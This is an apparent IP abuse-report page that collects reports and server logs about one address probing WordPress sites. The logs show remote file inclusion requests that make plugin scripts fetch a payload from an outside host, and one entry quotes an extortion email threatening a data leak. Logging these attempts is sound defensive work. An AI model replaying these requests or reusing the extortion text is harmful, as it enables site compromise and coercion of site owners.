🇺🇸
TPI-Abuse
2026-04-25 13:15:54
(1 month ago)
(mod_security) mod_security (id:225170) triggered by 83.97.117.160 (-): 1 in the last 300 secs; Port ...
show more
(mod_security) mod_security (id:225170) triggered by 83.97.117.160 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Sat Apr 25 09:15:48.398517 2026] [security2:error] [pid 1285:tid 1285] [client 83.97.117.160:59981] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||dr-taylor.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "dr-taylor.com"] [uri "/wp-json/wp/v2/users"] [unique_id "aey-hPX9-q5Jjj_a4w0xKQAAABA"], referer: https://www.google.com
show less
Brute-Force
Bad Web Bot
Web App Attack
2026-04-14 01:08:48
(1 month ago)
FPROCO WEBEXPLOIT 83.97.117.160 (83.97.117.160)
Web App Attack
🇺🇸
nowyouknow
2025-07-19 11:44:48
(10 months ago)
(From [email protected] ) We have hacked your website https://blufftonchiropractic.com ...
show more
(From [email protected] ) We have hacked your website https://blufftonchiropractic.com and extracted your databases.
How did this happen?
Our team has found a vulnerability within your site that we were able to exploit. After finding the vulnerability we were able to get your database credentials and extract your entire database and move the information to an offshore server.
What does this mean?
We will systematically go through a series of steps of totally damaging your reputation. First your database will be leaked or sold to the highest bidder which they will use with whatever their intentions are. Next if there are e-mails found they will be e-mailed that their information has been sold or leaked and your site https://blufftonchiropractic.com was at fault thusly damaging your reputation and having angry customers/associates with whatever angry customers/associates do. Lastly any links that you have indexed in the search engines will be de-indexed based off of blackhat techniques
show less
Phishing
Web Spam
🇺🇸
TPI-Abuse
2025-03-29 12:45:55
(1 year ago)
(mod_security) mod_security (id:211120) triggered by 83.97.117.160 (-): 1 in the last 300 secs; Port ...
show more
(mod_security) mod_security (id:211120) triggered by 83.97.117.160 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Sat Mar 29 08:45:48.801060 2025] [security2:error] [pid 17696:tid 17696] [client 83.97.117.160:33277] [client 83.97.117.160] ModSecurity: Access denied with code 403 (phase 2). Match of "endsWith /modules/paypal/express_checkout/payment.php" against "REQUEST_FILENAME" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "29"] [id "211120"] [rev "12"] [msg "COMODO WAF: Remote File Inclusion Attack||brandoncomputergeeks.com|F|2"] [data "Matched Data: http://adguard.digital/payload/index.php? found within REQUEST_FILENAME: /wp-content/plugins/wp-super-cache/js/cache-loader.php"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "brandoncomputergeeks.com"] [uri "/wp-content/plugins/wp-super-cache/js/cache-loader.php"] [unique_id "Z-frfINqm1bOYgF0JGxf3QAAAA0"]
show less
Brute-Force
Bad Web Bot
Web App Attack
🇺🇸
TPI-Abuse
2025-03-26 19:23:24
(1 year ago)
(mod_security) mod_security (id:211120) triggered by 83.97.117.160 (-): 1 in the last 300 secs; Port ...
show more
(mod_security) mod_security (id:211120) triggered by 83.97.117.160 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Wed Mar 26 15:23:11.700347 2025] [security2:error] [pid 1537:tid 1537] [client 83.97.117.160:32671] [client 83.97.117.160] ModSecurity: Access denied with code 403 (phase 2). Match of "endsWith /modules/paypal/express_checkout/payment.php" against "REQUEST_FILENAME" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "29"] [id "211120"] [rev "12"] [msg "COMODO WAF: Remote File Inclusion Attack||birascreekresort.com|F|2"] [data "Matched Data: http://adguard.digital/payload/index.php? found within REQUEST_FILENAME: /wp-content/plugins/wp-super-cache/js/cache-loader.php"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "birascreekresort.com"] [uri "/wp-content/plugins/wp-super-cache/js/cache-loader.php"] [unique_id "Z-RUH-FbEY9GySCp7gAF_QAAAAI"]
show less
Brute-Force
Bad Web Bot
Web App Attack
🇺🇸
TPI-Abuse
2025-03-26 18:05:11
(1 year ago)
(mod_security) mod_security (id:211120) triggered by 83.97.117.160 (-): 1 in the last 300 secs; Port ...
show more
(mod_security) mod_security (id:211120) triggered by 83.97.117.160 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Wed Mar 26 14:05:04.133046 2025] [security2:error] [pid 790446:tid 790446] [client 83.97.117.160:35345] [client 83.97.117.160] ModSecurity: Access denied with code 403 (phase 2). Match of "endsWith /modules/paypal/express_checkout/payment.php" against "REQUEST_FILENAME" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "29"] [id "211120"] [rev "12"] [msg "COMODO WAF: Remote File Inclusion Attack||biorregulador.com|F|2"] [data "Matched Data: http://adguard.digital/payload/index.php? found within REQUEST_FILENAME: /wp-content/plugins/wp-super-cache/js/cache-loader.php"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "biorregulador.com"] [uri "/wp-content/plugins/wp-super-cache/js/cache-loader.php"] [unique_id "Z-RB0M-fcf3Qf7hEjb_QeQAAAAQ"]
show less
Brute-Force
Bad Web Bot
Web App Attack
🇺🇸
TPI-Abuse
2025-03-22 05:11:43
(1 year ago)
(mod_security) mod_security (id:211120) triggered by 83.97.117.160 (-): 1 in the last 300 secs; Port ...
show more
(mod_security) mod_security (id:211120) triggered by 83.97.117.160 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Sat Mar 22 01:11:38.670279 2025] [security2:error] [pid 4407:tid 4407] [client 83.97.117.160:53083] [client 83.97.117.160] ModSecurity: Access denied with code 403 (phase 2). Match of "endsWith /modules/paypal/express_checkout/payment.php" against "REQUEST_FILENAME" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "29"] [id "211120"] [rev "12"] [msg "COMODO WAF: Remote File Inclusion Attack||badgerkelley.com|F|2"] [data "Matched Data: http://adguard.digital/payload/index.php? found within REQUEST_FILENAME: /wp-content/plugins/all-in-one-seo-pack/classes/aiosp.class.php"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "badgerkelley.com"] [uri "/wp-content/plugins/all-in-one-seo-pack/classes/aiosp.class.php"] [unique_id "Z95GitEZo84nFUEZLvhfKwAAAAQ"]
show less
Brute-Force
Bad Web Bot
Web App Attack
🇺🇸
TPI-Abuse
2025-03-18 21:35:55
(1 year ago)
(mod_security) mod_security (id:211120) triggered by 83.97.117.160 (-): 1 in the last 300 secs; Port ...
show more
(mod_security) mod_security (id:211120) triggered by 83.97.117.160 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Tue Mar 18 17:35:51.425549 2025] [security2:error] [pid 955745:tid 955745] [client 83.97.117.160:64029] [client 83.97.117.160] ModSecurity: Access denied with code 403 (phase 2). Match of "endsWith /modules/paypal/express_checkout/payment.php" against "REQUEST_FILENAME" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "29"] [id "211120"] [rev "12"] [msg "COMODO WAF: Remote File Inclusion Attack||artspacecleveland.org|F|2"] [data "Matched Data: http://adguard.digital/payload/index.php? found within REQUEST_FILENAME: /wp-content/plugins/w3-total-cache/lib/w3/pager.class.php"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "artspacecleveland.org"] [uri "/wp-content/plugins/w3-total-cache/lib/W3/Pager.class.php"] [unique_id "Z9nnNxKEkeL2aLCVcHqExgAAAIo"]
show less
Brute-Force
Bad Web Bot
Web App Attack
🇮🇹
Progetto1
2025-03-18 10:48:04
(1 year ago)
Website Scanning / Scraping
Bad Web Bot
Exploited Host
Web App Attack
2025-03-17 20:41:45
(1 year ago)
83.97.117.160 - - [17/Mar/2025:21:41:42 +0100] "GET /wp-content/plugins/timthumb/php/timthumb.php?sr ...
show more
83.97.117.160 - - [17/Mar/2025:21:41:42 +0100] "GET /wp-content/plugins/timthumb/php/timthumb.php?src=http://adguard.digital/payload/index.php&w=100&h=100 HTTP/1.1" 301 169 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
show less
Hacking
🇺🇸
TPI-Abuse
2025-03-09 04:09:50
(1 year ago)
(mod_security) mod_security (id:211120) triggered by 83.97.117.160 (-): 1 in the last 300 secs; Port ...
show more
(mod_security) mod_security (id:211120) triggered by 83.97.117.160 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Sat Mar 08 23:09:44.971322 2025] [security2:error] [pid 15930:tid 15930] [client 83.97.117.160:21867] [client 83.97.117.160] ModSecurity: Access denied with code 403 (phase 2). Match of "endsWith /modules/paypal/express_checkout/payment.php" against "REQUEST_FILENAME" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "29"] [id "211120"] [rev "12"] [msg "COMODO WAF: Remote File Inclusion Attack||7bsuperfruit.com|F|2"] [data "Matched Data: http://adguard.digital/payload/index.php? found within REQUEST_FILENAME: /wp-content/plugins/all-in-one-seo-pack/classes/aiosp.class.php"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "7bsuperfruit.com"] [uri "/wp-content/plugins/all-in-one-seo-pack/classes/aiosp.class.php"] [unique_id "Z80UiNbLrCdCelx_7fXzhAAAAAM"]
show less
Brute-Force
Bad Web Bot
Web App Attack
🇺🇸
TPI-Abuse
2025-02-25 17:21:38
(1 year ago)
(mod_security) mod_security (id:211120) triggered by 83.97.117.160 (-): 1 in the last 300 secs; Port ...
show more
(mod_security) mod_security (id:211120) triggered by 83.97.117.160 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Tue Feb 25 12:21:30.585182 2025] [security2:error] [pid 11650:tid 11650] [client 83.97.117.160:60533] [client 83.97.117.160] ModSecurity: Access denied with code 403 (phase 2). Match of "endsWith /modules/paypal/express_checkout/payment.php" against "REQUEST_FILENAME" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "29"] [id "211120"] [rev "12"] [msg "COMODO WAF: Remote File Inclusion Attack||tobyscott.com|F|2"] [data "Matched Data: http://adguard.digital/payload/index.php? found within REQUEST_FILENAME: /wp-content/plugins/canto/includes/lib/download.php"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "tobyscott.com"] [uri "/wp-content/plugins/canto/includes/lib/download.php"] [unique_id "Z738GpdMg3l5oMkZAZDlngAAABQ"]
show less
Brute-Force
Bad Web Bot
Web App Attack
🇺🇸
hostseries
2024-05-29 15:12:21
(2 years ago)
Trigger: LF_DISTATTACK
Brute-Force
2023-11-23 13:11:38
(2 years ago)
opencart admin attack from fail2ban
...
DDoS Attack
Brute-Force
SSH